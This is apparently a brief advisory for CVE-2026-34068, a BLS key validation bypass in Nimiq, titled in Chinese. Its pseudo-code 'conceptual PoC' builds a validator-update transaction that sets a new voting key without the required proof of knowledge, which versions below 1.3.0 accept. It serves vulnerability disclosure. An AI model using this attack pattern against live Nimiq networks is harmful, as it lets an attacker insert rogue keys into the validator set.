CVE-2026-34068 Nimiq BLS密钥验证绕过漏洞

// Conceptual PoC demonstrating the vulnerable transaction structure // This is pseudo-code based on the vulnerability description struct UpdateValidatorTransaction { validator_id: Address, new_voting_key: Option<PublicKey>, new_proof_of_knowledge: Option<Proof>, // ... other fields } fn main() { // Attacker generates a malicious key pair let (malicious_pub_key, _) = generate_bls_keys(); // Construct a transaction with the new key but OMIT the proof of knowledge let vulnerable_tx = UpdateValidatorTransaction { validator_id: attacker_address, new_voting_key: Some(malicious_pub_key), // Key is set new_proof_of_knowledge: None, // VULNERABILITY: Proof is missing but accepted }; // In vulnerable versions (< 1.3.0), submitting this transaction // adds the rogue key to the validator set. submit_transaction(vulnerable_tx); }